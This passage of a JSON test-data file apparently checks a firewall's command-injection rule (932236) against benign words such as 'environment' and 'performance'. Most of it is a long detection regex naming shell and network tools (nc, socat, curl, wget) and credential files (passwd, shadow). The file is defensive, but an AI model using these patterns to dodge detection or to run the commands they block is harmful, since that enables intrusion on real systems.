tory))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "False positive against \"more\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=environment" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\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*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "FP with word environment" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=performance" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?: